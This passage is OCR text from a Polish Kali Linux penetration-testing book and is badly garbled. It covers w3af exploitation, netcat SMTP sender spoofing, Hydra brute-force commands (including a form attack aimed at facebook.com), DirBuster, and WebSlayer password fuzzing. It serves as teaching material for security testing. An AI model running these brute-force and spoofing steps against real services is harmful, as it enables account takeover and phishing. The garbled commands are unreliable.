Target {httpjVwvrw.thesecuntybfogger.com P lu g in
j i Start i
I X
|
A c tiv e
@
audit
■
@
d U lłl
□
IjJ
I m i lc f o r c r □
>+j @
discovery ■ evasion □
@
y re p
m
0
m a n g ln
a
w e b j ii f t d s l r u c l u r e
M u ijiii 0
output
Ar l iv e ■ M a n g le p lu g in s m o d if y re q u e s ts o n th e fly.
Na karcie L og program w3af wyświetla informacje o bieżącym statusie i postępach skanowania. Po rozpoczęciu skanowania program w 3af dokonuje oszacowania czasu niezbędnego do zakoń czenia skanowania i wyświetla tę informację na ekranie.
Aby zobaczyć wynik skanowania, przejdź na kartę Results. Znajdziesz tam szczegółowe in formacje o zidentyfikowanych podatnościach i lukach w zabezpieczeniach skanowanego ser wera. Na karcie E xploit znajdziesz informacje o istniejących exploitach pozwalających na wy korzystanie znalezionych luk w zabezpieczeniach.
121
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Program w3af pozwala użytkownikowi na dokonanie próby wykorzystania znalezionych podatno ści i luk w zabezpieczeniach. Luki w zabezpieczeniach, które zostały zidentyfikowane podczas skanowania, są porównywane z istniejącą bazą wiedzy, z której następnie odczytywane są od powiednie informacje na temat istniejących exploitów i sposobów ich wykorzystania. Jeżeli użycie wybranego exploita zakończy się powodzeniem, uzyskasz dostęp do konsoli zaatakowanego systemu. Na rysunku zamieszczonym poniżej przedstawiono wygląd okna skanera w3af, wy korzystującego podatność o nazwie dayShell na witrynie w w w .thesecu rityblogger.com . Scan config Log Results Exploit Exploits eval fileUploadShell IocaIFi IeReader osCommandingShell remoteFilelncludeShell rfiProxy sql_webshell sqlmap xpath
Vulnerabilities Unhandled error in web application A Unideryjgadi
Shells
* M ultip le E x p lo it!
m nc
# i \ u s e m e s e t c o m m a n c i t o e n t e r tn e v a lu e s y o u r s e n , a n a
then exploit it using fastExploit. No [blind] SQL injection vulnerabilities have been found. Hint #1: Try to find vulnerabilities using the audit plugins. Hint #2: Use the set command to enter the values yourself, and then exploit it using fastExploit. No [blind] SQL injection vulnerabilities have been found. Hint #1: Try to find vulnerabilities using the audit plugins. Hint #2: Use the set command to enter the values yourself, and then exploit it using fastExploit. Exploiting 'davShell1..._________________________________
Skaner w3af ma bardzo wiele innych ciekawych możliwości i zastosowań. W ięcej szczegóło wych informacji na ten temat znajdziesz na stronie http://w 3af.org/.
122
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Wykorzystywanie luk w zabezpieczeniach systemów poczty elektronicznej Ze względu na swoją specyficzną rolę praktycznie wszystkie systemy zajmujące się przetwa rzaniem poczty elektronicznej są w taki czy inny sposób podłączone do internetu i pozwalają na anonimowy dostęp z zewnątrz danej firmy lub organizacji — w przeciwnym wypadku ich funkcjonalność byłaby mocno ograniczona. Pracownicy wielu firm i organizacji używają poczty elektronicznej do przesyłania wiadomości zawierających poufne dane. W większości środo wisk na serwerach poczty elektronicznej przechowuje się bardzo wiele cennych informacji, dzięki czemu niemal z definicji serwery te stanowią bardzo atrakcyjne cele dla potencjalnego napastnika. D obra wiadomość jest taka, że zdecydowana większość współcześnie używanych i prawidłowo skonfigurowanych systemów pocztowych jest niezmiernie odporna na ataki, a prze łamanie ich zabezpieczeń i uzyskanie nieautoryzowanego dostępu jest zadaniem ekstremalnie trudnym. Nie oznacza to oczywiście, że współczesne systemy pocztowe nie są podatne na ataki — w końcu większość z nich posiada swoje aplikacje internetowe, pozwalające użytkownikowi na wygodne korzystanie z poczty elektronicznej za pomocą przeglądarki z dowolnego miejsca na świecie. Takie rozwiązanie zwiększa oczywiście prawdopodobieństwo tego, że potencjalny napastnik uzyska zdalny dostęp do serwera poczty i będzie mógł wykorzystać go jako bazę do rozpoczęcia atakowania innych wewnętrznych serwerów danego środowiska. Zanim jednak przymierzymy się do samego atakowania serwerów pocztowych, musimy wiedzieć, na jakich platformach działają takie serwery w badanym środowisku. Jeżeli nie posiadasz od powiednich wiadomości, możesz skorzystać z technik rozpoznania i gromadzenia informacji, które omawialiśmy w rozdziale 2., „Rekonesans”. W naszym przykładzie używamy polecenia fie rce do znalezienia hostów opisywanych w badanej domenie rekordami MX. W zdecydowanej większości przypadków takie hosty są dedykowanymi serwerami poczty elektronicznej. Na kolejnym rysunku przedstawiamy użycie polecenia fie rce do badania domeny w ww.cloudcentrics.com. |root@kali:-# fierce -dns www.cloudcGntrics.com DNS Servers for w w w . c l oudcentr i c s . c o m : ns3682.hostgator.com n s 3 6 8 1 .hostgator.com Trying zone transfer first... Testing ns3682.hostgator.com Request timed out or transfer not a l l o w e d . Testing ns3681.hostgator.com Request timed out or transfer not a l l o w e d . Unsuccessful in zone t r a n s f e V ^ f t tydslwjarfth a shoi n s n n r r Okay, trying the good old fashioned way... brute •force Can't open hosts.txt or thé— defatlTt1W m t i s t — u 11J Y J \ j L s i E x i t i n g ... root@kali:-#
123
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Pierwszym krokiem będzie sprawdzenie, czy znalezione serwery są podatne na bezpośrednie uży cie odpowiednich poleceń protokołu SM TP Jednym z głównych powodów, dla których hakerzy atakują serwery pocztowe, jest chęć uzyskania dostępu do serwera w celu tworzenia fałszywych wiadomości pocztowych i nieautoryzowanego wykorzystywania takiego serwera do ich przekazy wania (ang. e-m ail relay server). W ięcej szczegółowych informacji na temat sposobu użycia pomyślnie zaatakowanych serwerów pocztowych do przygotowania i przeprowadzania ataków socjotechnicznych znajdziesz w rozdziale 4., „Ataki na klienty aplikacji internetowych”. W naszym przypadku do próby połączenia się z atakowanym serwerem poczty elektronicznej użyjemy narzędzia o nazwie Netcat. Jest to uniwersalne narzędzie sieciowe, pozwalające na tworzenie połączeń i przesyłanie danych za pomocą protokołów TC P lub U D P Netcat został zaprojektowany tak, aby można było korzystać z niego w sposób interaktywny i zarazem uży wać go w skryptach i innych programach. Netcat jest również znakomitym sieciowym narzę dziem skanująco-monitorującym, pozwalającym na analizę połączeń sieciowych, wykrywanie oraz identyfikację problemów komunikacyjnych, a także monitorowanie ruchu sieciowego i korelowanie wyników. Aby dokonać próby połączenia z serwerem pocztowym, użyjemy polecenia netcat, podając jako argumenty wywołania adres sieciowy serwera oraz numer portu komunikacyjnego. W tym przypadku nasz atakowany serwer pocztowy wykorzystuje do swoich potrzeb domyślny port 25. W cześniej oczywiście sprawdziliśmy tę informację w fazie rozpoznania i gromadzenia in formacji za pomocą polecenia nmap, tak jak opisywaliśmy to w rozdziale 2., „Rekonesans”.
root@kali:~# nstcat mail.secmob.net 25 Gdy uzyskamy za pomocą programu Netcat połączenie z serwerem pocztowym, użyjemy po lecenia HELO do poinformowania serwera, „kim jesteśm y”. Jeżeli otrzymamy od serwera odpowiedź, w wielu przypadkach będziemy mogli nim manipulować za pomocą odpowiednich poleceń protokołu SM TP (aczkolwiek niektóre systemy mogą być skonfigurowane tak, aby nie reagować na tak wydawane polecenia). W naszym przykładzie rozpoczęliśmy sesję z serwerem od przedstawienia się za pomocą polecenia HELO, a teraz spróbujemy wykorzystać ten serwer do przekazywania naszych odpowiednio spreparowanych wiadomości pocztowych, które ułatwią nam dalszą eksplorację atakowanego środowiska. Wysłanie wiadomości pocztą elektroniczną wymaga jedynie wykonania poleceń HELO, MAIL FROM, RCPT TO oraz Data. Innych poleceń możesz użyć do ukrywania listy odbiorców takiej wiadomości czy do zmiany adresu zwrotnego (pole Reply-To). W przykładzie przedstawionym poniżej pokazujemy, jak przygotować informację o nadawcy wiadomości, aby przekonać od biorcę, że wiadomość została wysłana przez kogoś zupełnie innego. fifiIL F R O M : soneone_ inportantPc 1oudcentr ic s .eon
Pełną listę poleceń protokołu SM TP możesz znaleźć w dokumencie R FC 821 lub po prostu za pomocą wyszukiwarki Google.
124
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Ataki typu brute-force Ataki typu bru te-force (czyli inaczej mówiąc, ataki metodą siłową) polegają na tym, że napast nik sprawdza po kolei wszystkie możliwe kombinacje kluczy szyfrujących, dopóki nie znaj dzie właściwego klucza pozwalającego na odszyfrowanie danych. Takie ataki są niezmiernie kosztowne z punktu widzenia zasobów i czasu, jaki należy poświęcić na ich przeprowadzenie. Pewnym ułatwieniem może być wykorzystanie podczas ataku słabych stron algorytmu szy frującego, wykorzystanie niewielkiej długości klucza czy jego prostoty. Wielu użytkowników, tworząc hasła, wybiera po prostu słowa z języka, którym się posługuje na co dzień. W takiej sytuacji całkowita liczba haseł, które musi sprawdzić napastnik, je st ograniczona do liczby słów w słowniku danego języka i ich ewentualnych modyfikacji, co znakomicie redukuje przestrzeń możliwych haseł w stosunku do haseł składających się z zupełnie losowych zna ków alfanumerycznych. D obrą praktyką, znakomicie utrudniającą przeprowadzenie ataku ty pu b ru te-force, jest po prostu używanie długich, złożonych haseł, składających się z małych i wielkich liter, cyfr i znaków specjalnych oraz zaimplementowanie mechanizmu czasowego blokowania konta po wykryciu określonej liczby kolejnych niepomyślnych prób zalogowania się do systemu. Oczywiście są to tylko przykłady, a możliwych metod zwiększenia bezpie czeństwa jest znacznie więcej.
Hydra Hydra to narzędzie zaprojektowane przez grupę programistów z organizacji T he H acker’s Choice (THC), które wykorzystuje metodę brute-force do testowania wielu różnych protokołów komunikacyjnych i łamania haseł. Jest to idealne narzędzie do atakowania serwerów pocztowych, ponieważ pozwala na zaatakowanie hosta o określonym adresie IP przy użyciu danego protokołu, na przykład POP3 i SMTP) używanego przez systemy pocztowe. Jak zwykle, przed użyciem skanera Hydra powinieneś przeprowadzić dokładne rozpoznanie celu. W rozdziale 2., „Rekonesans”, opisywaliśmy narzędzie o nazwie Zenmap, za pomocą którego możesz uzyskać następujące informacje niezbędne do użycia skanera Hydra: ■
adres IP serwera będącego celem ataku (na przykład 192.168.1.1),
■
listę otwartych portów komunikacyjnych (na przykład porty 80 i 25),
■
protokoły komunikacyjne używane przez poszczególne usługi (na przykład H TTP dla usługi W W W oraz SM TP dla poczty elektronicznej),
■
nazwy kont użytkowników (na przykład admin).
Kolejnym narzędziem, za pomocą którego często przeprowadzany jest rekonesans i zbierane są informacje dla skanera Hydra, jest wtyczka Tamper D ata dla przeglądarki Firefox.
125
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Tamper Data to narzędzie napisane przez Adama Judsona, które pozwala użytkownikowi na przeglądanie i modyfikowanie żądań GET i POST protokołów HTTP i HTTPS. Informacje te mogą być bardzo użyteczne dla narzędzi takich jak Hydra, ponieważ pozwalają one na zautomaty zowanie procesu otwierania strony internetowej i testowania różnych kombinacji nazw kont użytkowników i haseł dostępu. Po zainstalowaniu i włączeniu wtyczki Tamper Data możemy rozpocząć wpisywanie danych w formularzu logowania strony internetowej. lib* 1ilil Vw*w 1lisluty lliHikriuiks lix iK IIHp J C O *irxi limp.. (■ /
»•••:;
A Most Visited
♦ taceeoofccom Getting Started
“ *
Time
Gmail 4 iCIoud
Tech
FT
Ethical Hacking
appletv-hd - TPB
The Hacker Academy
Imported
Sign Up Connect with friends and the world around you on Facebook.
It’s t r e e a n d a lw a ys w ill be.
First Name
Last Name
T a m fie i D rfla - O n g o in g iH q iiH s k
—
Sl.nl T.inifK'f Snip T.itn|Ht O r.*
Shin* All lofal (Airalion
&
Size
Method
•1
CL I
https// id-(dl(
e
>00
Content Iype lexl/xml
irii/iml
https/A*ww.łaceboofccom/Togirtprip/login attempt *1 V Continue Tampcrinq?
126
Status ¿(XI
Tamper with request? O
^
Opliiur. Hiip
Filter Uurabon
SIF
URL
Load Hags
4-
+
Cisco Secunty Partners...
m
facebook
lime
P
H * (joogle
/
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Wtyczka Tamper Data wyświetla przechwycone informacje w odpowiednio pogrupowanych polach. Użytkownik lub napastnik może modyfikować zawartość poszczególnych pól i ponownie wysyłać dane nawet w sytuacji, kiedy komunikacja ze stroną internetową jest szyfrowana. I c J IT ip C I 1’ o p u p
W naszym przykładzie widzimy, że użytkownik przed kliknięciem przycisku L og in wpisał na zwę konta pin k oraz hasło pin kprin cess. Oba przedstawione przykłady to typowo praktyczne metody przeprowadzania rekonesansu i zdobywania informacji potrzebnych dla skanera Hydra. Oczywiście istnieje wiele metod wyko rzystujących inne narzędzia dostępne w systemie Kali Linux, pozwalające na zdobywanie danych dla skanera Hydra, aczkolwiek uważamy, że Netcat oraz Tamper Data są jednymi z najefek tywniejszych i najczęściej polecanych. Teraz, kiedy zakończyliśmy już fazę rekonesansu, możemy uruchomić skaner Hydra i zobaczyć, w jaki sposób w praktyce możemy użyć zdobytych informacji do przeprowadzenia ataku typu bru te-force na hasła dostępu. Aby w systemie Kali Linux uruchomić skaner Hydra, w menu głównym przejdź do grupy Kali Linux, a następnie wybierz polecenie Password Attacks/Online Attacks/Hydra. Na ekranie pojawi się okno terminalu, w którym zostanie uruchomiony skaner Hydra. Hydra i s a to o l to g u e ss/cra ck v a lid lo gin /p a ssw o rd p a ir s - usage on ly allow ed fo r le g a l purposes. Newest v e rsio n a v a ila b le at h t t p ://w w w .th c.org/th c-h yd ra The fo llo w in g s e r v ic e s were not com piled in : sapr3 o ra c le . Exam ples: hydra -1 john -p doe 1 9 2 i ftp l~~ hydra -L u s e r .t x t -p defau ltafc fl-S 1S2. |68|.oL 1 in ^p PL^|irJ/ * hydra -1 admin -P pass . s i— hydra -C d e f a u lt s .t x t -6 p o p 3 s :// [fe 8 0 : : 2 c : 3 1 f f : fe l2 :a c 1 1 ] :143/DIGEST-MD5 ro o t@ k a li:-#
Szczegółową instrukcję posługiwania się skanerem Hydra znajdziesz w dokumentacji programu. Jeżeli chcesz dokonać ataku na przykład na konto administratora systemu o adresie 192.168.1.1 z wykorzystaniem jego pliku haseł i protokołu SM TP powinieneś wykonać następujące polecenie: h y d ra - l
admin -p / r o o t / p a s s w o r d .t x t 1 9 2 .1 6 8 .1 .1 smtp
127
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Jeżeli chcesz wykorzystać skaner Hydra do ataku na stronę internetową zawierającą formu larz logowania, musisz podać trochę informacji, które zdobyliśmy za pomocą wtyczki Tamper Data. Składnia wywołania skanera Hydra dla formularza strony internetowej je st następująca: : :< ciąg znaków d la niepom yślnego logowania>. URL=https://www.facebook.com/login.php?login_attempt=1email=pink&passwd= ^pinkprincessl& login="log in" Teraz możesz wreszcie uruchomić skaner Hydra. W parametrach wywołania musisz podać ścieżkę do pliku zawierającego nazwy kont użytkowników oraz ścieżkę do pliku zawierającego hasła. h y d ra - L / c lo u d c e n t r ic s / u s e r n a m e lis t -P / c lo u d c e n t r ic s / p a s s w o r d s _ d e m o _ f i l e . t x t t -fa c e b o o k .c o m h t t p - g e t - f o r m " lo g in .p h p ? lo g in _ a t t e m p t = 1 :u s e r n a m e = ~ E M A IL~ & T O K E N = ~ P A S S W O R D ~ & lo gin = Lo g in :in co rre ct"
Składnia polecenia może się robić coraz bardziej skomplikowana i może się zmieniać w zależności od badanej witryny (a czasami nawet w ramach danej witryny). Z tego powodu przed przystą pieniem do przeprowadzania testów penetracyjnych powinieneś poćwiczyć pracę z tym ska nerem i wtyczką Tamper D ata w kontrolowanych warunkach laboratoryjnych, aby poznać możliwości tych narzędzi i nabrać wprawy w ich używaniu.
DirBuster D irBuster to skaner aplikacji internetowych, pozwalający na „siłowe” wykrywanie na serwerach W W W folderów i plików, które nie są normalnie dostępne. Bardzo często zdarza się, że serwery W W W wyglądają tak jak w domyślnych ustawieniach po instalacji, podczas gdy w rzeczywistości posiadają szereg aplikacji i stron internetowych, ukrytych gdzieś głęboko w normalnie niedo stępnych plikach i folderach. D irBuster to narzędzie pozwalające na znajdowanie właśnie ta kich ukrytych skarbów. Aby uruchomić program DirBuster w systemie Kali Linux, powinieneś w menu głównym przejść do grupy K ali Linux, a następnie wybrać polecenie W eb A pplications/W eb C raw lers/dirbuster. Na ekranie pojawi się okno programu, w którym przed rozpoczęciem ataku musisz w odpo wiednich polach wpisać trochę niezbędnych informacji. Jako absolutne minimum musisz podać adres U R L serwera będącego celem ataku, wybrać liczbę wątków skanowania (sugerujemy wybranie liczby nie większej niż 100) oraz podać listę plików. W tym ostatnim przypadku możesz kliknąć przycisk B row se i wybrać listę domyślną lub wskazać własną. Po podaniu podstawowych informacji możesz kliknąć przycisk Start — program D irBuster rozpocznie skanowanie serwera docelowego i wyszukiwanie luk w jego zabezpieczeniach. W więk szości przypadków wyświetli się zaraz komunikat, że proces skanowania zajmie co najmniej kilka najbliższych dni. W praktyce jednak już po kilkunastu minutach znajdziesz dużo intere sujących informacji. Na rysunku zamieszczonym poniżej pokazano, że program D irBuster wykrył folder o nazwie /cgi-bin/, którego zawartość może być bardzo interesująca (zobacz ry sunek na następnej stronie pod ramką).
128
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
Pamiętaj, że niektóre dystrybucje systemu Kali Linux mogą nie posiadać preinstalowanego, domyślnego zestawu słowników. W takiej sytuacji możesz pobrać słowniki z internetu i następnie wskazać ich lokali zację programowi DirBuster, jak przedstawiono na rysunku poniżej: O W A S P D irB ukte r l . O - R C l - W «b A p p lica tio n Bru t« F o rcin g Filv
Opliotik
Aboul
m
t a
a
Hulp
Tdiywl URL le y tillp://wxamplw.com:80/) hrTp:/Aaww.rhaaariintyblnggar.rom
Work Method
O U se GET requuklk only 0 A ulo Switch (HEAD und GET)
f.alart scanning typ*:
® 11s t basart h n ita forr*
O P*** R nita r n r r a
Fil« willi liki uf diik/Tilok 1h ool7D«kklop/wm d lik l.lkl
Biow k« | Q Liki lulu |
( har aat [a ZA ZO 9 % 2 0 ____________________ Min lanqrh li ________| Ma* I angrh m____
S a la r t startin g options:
® s ta n d a rd start point
Q Ulu l u77
0 R nd n Force* Oirs
0 Be Rccuruwc
0 n n ita r o rra rilas
y U5C Blank Extension
Dii lo klu rl willi |/ Filc extension
URL to tuzz - Aest.htm f?uri=idir>.asp [
i fljF x tr
S ta r t
P le ase c o m p le te th e t e s t d e ta ils
O W A S P D ir B u s t e r l . O - R C l - W e b A p p lic a tio n B ru te F o rc in g File
Options
About
Help
http://w w w .thesecurityblogger.com : 80/ @ Scan Inform ation ' Results - List View: Dirs: 566 Files: 0 \ Results - Tree View Type Dir Dir Dir Dir Dir Dir Dir Dir Dir Dir Dir Dir Dir Dir
Found /s ta ts / /w p-co n te n t/ / /cgi-bin/ /20 0 5 / /w p-includes/ /0 6 / /sitem a p/
Każdy folder, dla którego nadeszła odpowiedź inna niż 404, może być przedmiotem dalszej eksplo racji. Aby skoncentrować się na znalezionym wcześniej folderze /cgi-bin/, zatrzymaj teraz skan, klikając przycisk Stop, a następnie kliknij przycisk B ack. Teraz w głównym oknie programu odszu kaj pole Dir to .start with, które znajduje się nieco powyżej przycisku Start, wpisz w nim nazwę folderu, od którego chcesz ponownie rozpocząć poszukiwania, i ponownie kliknij przycisk Start. D ir t o s t a r t w it h F ile e x t e n s io n
|/c g i- b in /| Ip h p
Najprawdopodobniej w wyniku takiej operacji znajdziesz kolejny zestaw folderów, którym będziesz chciał się przyjrzeć. Aby to zrobić, powtarzaj zatrzymywanie całego procesu, aktu alizację nazwy folderu startowego i ponowne uruchamianie skanowania tak długo, aż uzyskasz satysfakcjonujący Cię obraz struktury atakowanej witryny internetowej. Na rysunku poniżej przedstawiono przykładowe wyniki mapowania folderu cgi-bin: H D D
O W A S P D ir B u s t e r l . O - R C l - W e b A p p lic a tio n B ru te F o rc in g File
Options
A bout
Help
http://w ww.thesecurityblogger.com :80/cgi-bin/ Scan Inform ation ' Results - List View: Dirs: 815 Files: 827 \ Results - Tree View '1,A Type Dir Dir Dir Dir Dir Dir Dir Dir Dir Dir Dir Dir Dir Dir
Time To Finish: 44 Days <^i Back DirBuster Stopped
OD Pause
Report
/cgi-bln/201/
Po zakończeniu skanowania możesz automatycznie wygenerować raport. Aby to zrobić, kliknij przycisk R eport, następnie wybierz folder, w którym raport zostanie zapisany, i kliknij przy cisk G en erate R eport. Raport zostanie zapisany w pliku tekstowym i wyświetlony na ekranie.
130
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
D ir B u s t e r 1 .0 - R C 1 R e p o rt V ie w e r /ro o t/D e s k to p /D irB u s t e rR e p o rt-w w w .th e s e c u rity b lo g g e r.c o m -8 0 .tx t |Full T e x t|\ S im p le List \ XM L\ CSV \ -
D irB u s te r 1.0-RC1 - R e p o rt h ttp ://w w w .o w a s p . o rg /in d e x , p h p /C a t e go ry: O W A S P _D irB uste r_P ro ject R e p o rt p ro d u c e d o n T h u M ay 0 9 1 5 :2 8 :1 0 EDT 2 0 1 3
-Li
h ttp ://w w w .th e s e c u rity b lo g g e r.c o m : 8 0 D ire c to rie s fo u n d d u rin g te s tin g : Dirs fo u n d w ith a 4 0 3 re s p o n s e : /e g ¡-bin/ /c g i -b in /te s t/ Dirs fo u n d w ith a 5 0 3 re s p o n s e : /c g i - b in /fe a tu re s / /c g i-b in /p a g e / / c g i-b in /5 / / c g i-b in /2 2 / /c g i-b in /d o c s / / c g i-b in /2 0 / /c g i-b in /d o w n lo a d s / /c g i-b in /4 / /c g i-b in /m a in /
C lose
WebSlayer
^
_______ W
e b s l a y e r E
d g e
-S
e c u r it y
W ebSlayer to skaner aplikacji internetowych pozwalający na siłowe atakowanie żądań Form (nazwa konta użytkownika i hasło dostępu) oraz parametrów metod GET i POST. WebSlayer pozwala również na wykrywanie zasobów, które nie są podłączone do aplikacji internetowej, takich jak skrypty, pliki, katalogi itd. Program WebSlayer posiada własny generator ładunków i analizator wyników działania. Na karcie A ttack Setup znajduje się pole o nazwie Url, w którym musisz wpisać adres U R L aplikacji internetowej. Poniżej znajdują się pola o nazwach H ead er oraz POST, w których możesz wprowadzić odpowiednie dane. Jeszcze niżej znajdziesz listę rozwijaną Payload type, za pomocą której możesz wybrać jeden z trzech typów ładunku: Dictionary, Range lub Payload. Opcja Dic tionary pozwala na wybranie pliku zawierającego Twój własny słownik lub jeden ze słowników
131
fl
K a li L in u x . T e s ty p e n e tra c y jn e
domyślnych. O pcja R ange umożliwia zdefiniowanie zakresu ataku, a opcja P ayload daje moż liwość zaimportowania ładunku z generatora (karta P ayload G enerator). Poniżej znajdziesz rysunek przedstawiający okno programu WebSlayer skonfigurowanego do skanowania witryny www. thesecurityblogger. com .
Generator ładunków to narzędzie, za pomocą którego możesz utworzyć swoje własne ładunki, takie jak słowniki, zakresy wartości liczbowych, bloki znaków, permutacje, numery kart kre dytowych, nazwy kont użytkowników i inne. Poszczególne elementy mogą być ze sobą łączo ne i razem tworzyć finalną wersję ładunku, który następnie może zostać zaimportowany na kartę A ttack Setup i wykorzystany do przeprowadzenia starannie przygotowanego ataku. Na kolejnym rysunku możesz zobaczyć przykład definiowania ładunku w postaci zbioru war tości liczbowych z zakresu od 0 do 1000. Po zdefiniowaniu zakresu kliknij przycisk A d d G en e rator, co spowoduje utworzenie ładunku roboczego w polu T em poral G enerators. Teraz prze ciągnij nowo utworzony ładunek roboczy na pole Pattern, znajdujące się na karcie P ayload C reator, i kliknij przycisk G en erate PAYLOAD. Po zakończeniu będziesz mógł zaimportować nowy ładunek na kartę A ttack Setup (zobacz pierwszy rysunek na następnej stronie). Po zaimportowaniu wybranego ładunku i umieszczeniu go w scenariuszu przygotowywanego ataku musisz wybrać m iejsce, w którym W ebSlayer będzie próbował wstrzyknąć ładunek. Aby to zrobić, powinieneś w wybranym miejscu adresu U RL celu umieścić słowo kluczowe FUZZ.
132
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
/\
v
x
|
W e b S la y e r
File
Przykład został przedstawiony na kolejnym rysunku, gdzie słowo kluczowe FUZZ w adresie witryny w w w .thesecu rityblogger.com zostało użyte do przeprowadzenia ataków przy wykorzystaniu dwóch ładunków (słowników).
133
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Za pomocą programu W ebSlayer możesz przeprowadzić atak na dowolny fragment żądania H TTP takiego jak nagłówek i uwierzytelnianie. Jeżeli chcesz użyć programu W ebSlayer do siłowego złamania hasła dostępu do serwera aplikacji internetowych, powinieneś znać nazwę konta użytkownika — w przeciwnym wypadku W ebSlayer najprawdopodobniej nie odegra swojej roli. Aby to osiągnąć, musisz przechwytywać odpowiednie żądania H TTP i próby lo gowania, aby pozyskać z nich dane niezbędne do przeprowadzenia ataku.
D la przeglądarki Firefox istnieje wtyczka o nazwie Live H TTP H ead ers, za pomocą której mo żesz zebrać potrzebne informacje podczas logowania się do serwera. Na następnym przykładzie pokazano przechwytywanie pakietów z nagłówkami HTTP podczas logowania się do serwera usługi Myspace użytkownika o nazwie joeym u n iz, który użył do logowania nieprawidłowego hasła.
W naszym przykładzie wtyczka Live H TTP H ead ers pozwoliła na przechwycenie dwóch waż nych informacji, User-Agent oraz L ogin C redentials (zobacz dwa kolejne rysunki), które na stępnie mogą zostać wykorzystane przez skaner WebSlayer.
134
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
eoo
|
Live HTTP h ea de rs G e n e ra to r
C o n fig
About |
H T T P H e a d e rs A c c e p t-E n c o d in g : g z ip , d e fla te C o n te n t- T y p e : a p p l i c a t io n / x - w w w - f o r m - u r le n c o d e d ; c h a rs e t= L T T F -8 H a s h : M z F h M D g w M W Z jZ jB h Y m U 3 Z A fD ih n C g l/D g y A e W G Q s w o 3 C n 3 3 D n H 8 Y w 6 n C s jlU w 5 B W U 3 g rQ E x H w 6 jC s M O K w 7 v C h M K y w o H C v 8 K Z w 6 ... X - R e q u e s te d - W ith : X M L H ttp Re q u e s t R e fe re r: h t tp s : //n e w .fn y s p a c e . c o m /s ig n ir r C o n te n t- L e n g th : 8 0 C o o k ie : M 5 C (jltu re = IP = 6 8 . 3 3 .1 9 2 ,1 2 6 & IP C u ltu r e = e n - U S & P r e fe r r e d C u ltu r e = e n - U S & P r e f e r r e d C u lt u r e P e n d in g = & C o u n tr y = W M = & F o r c e d E .. . C o n n e c tio n : k e e p - a liv e P ra g m a : n o - c a c h e C a c h e - C o n tr o l: n o - c a c h e
em ail = jo e y m u n iz & p a s s w o rd = h a p p y jo y jo y & p a g e ld = a lc 3 a 0 e 7 -a l0 2 -4 9 S f-b 3 2 2 -la 8 2 b 8 1 a 6 e e c
H T T P / l . L 4 0 1 U n a u th o r iz e d V a ry : A c c e p t -E n c o d in g 5 e t- C o o k ie : v i s i t _ i d = 4 d 3 f e 7 3 8 - 3 c 9 f - 4 b c d - 8 4 4 6 - 5 8 8 f b 3 2 1 c l 4 f ; d o m a in = . m y s p a c e .c o m ; p a t h = / ; e x p ir e s = T u e , 3 0 A p r 2 0 1 3 1 5 :2 7 :4 0 ...
I
Save A ll...
|
|
R e p la y ...
|
I.^I C a p tu r e
C le a r
I
|
C lo s e
Informacje o przeglądarce, z której korzysta użytkownik (pole User-Agent), powinny zostać umiesz czone w sekcji H ead ers karty A ttack Setup, natomiast dane użytkownika (Login C redentials) powinny się znaleźć w sekcji POST Data. W polu Url powinieneś wpisać adres U R L strony logowania do aplikacji internetowej. Następnie z listy rozwijanej A uthentication musisz wy brać metodę uwierzytelniania i nazwę konta użytkownika. Na kolejnym rysunku pokazano sposób wykorzystania informacji przechwyconych przez wtyczkę Live H TTP H ead ers do skonfigurowania skanera WebSlayer. Zwróć uwagę, że błędne hasło w polu POST D ata zostało zastąpione słowem kluczowym FUZZ, dzięki czemu WebSlayer będzie „wiedział”, którą część żądania należy poddać atakowi siłowemu. Z listy rozwijanej A uthenti cation wybrana została opcja basic, a w polu obok została wpisana nazwa konta użytkownika (joeymuniz), po której następuje znak dwukropka i słowo kluczowe FUZZ.
135
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Podsumowując, aby odpowiednio przygotować atak, musisz znać adres witryny internetowej, rodzaj przeglądarki (User-Agent), dane logowania oraz nazwę konta użytkownika. W miejscu, w którym powinno się znajdować hasło dostępu, umieszczasz słowo kluczowe FUZZ, a następ nie wybierasz słownik haseł, który zostanie użyty podczas ataku. Jak widać, jest to stosunkowo prosty sposób przeprowadzenia ataku typu b ru te-force na serwer aplikacji internetowych.
W rzeczywistości usługa Myspace wykorzystuje znacznie lepsze metody uwierzytelniania użytkowników niż te, które zostały przedstawione w naszym przykładzie.
Serwery aplikacji internetowych, w których zostały zaimplementowane dodatkowe mechani zmy zabezpieczające, jak na przykład automatyczne, czasowe blokowanie konta użytkownika po wykryciu kilku kolejnych prób zalogowania się zakończonych niepowodzeniem, będą naj prawdopodobniej całkowicie niewrażliwe na taki rodzaj ataku. Co w ięcej, zaawansowane m e chanizmy obronne, takie jak systemy IPS/IDS zainstalowane w środowisku celu, z pewnością szybko wykryją próbę takiego ataku na monitorowane zasoby. Z tego powodu, jeżeli planujesz wykorzystanie skanera W ebSlayer bez przeprowadzenia wyjątkowo starannego rekonesansu, powinieneś zachować szczególną ostrożność. Program W ebSlayer pozwala na wyeksportowanie zdefiniowanych ładunków oraz wyników skanowania do plików tekstowych lub plików H TM L. Istnieje również możliwość przechwy cenia zawartości dziennika programu i skopiowania go do pliku tekstowego.
136
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
Code »unes 200 OlöL 200 OlöL 200 OlöL 200 OlöL 200 OlBL 200 OlöL 200 OlöL 301 71. 2(H) m h i . 2(H) (4*1 2(H) (4*1
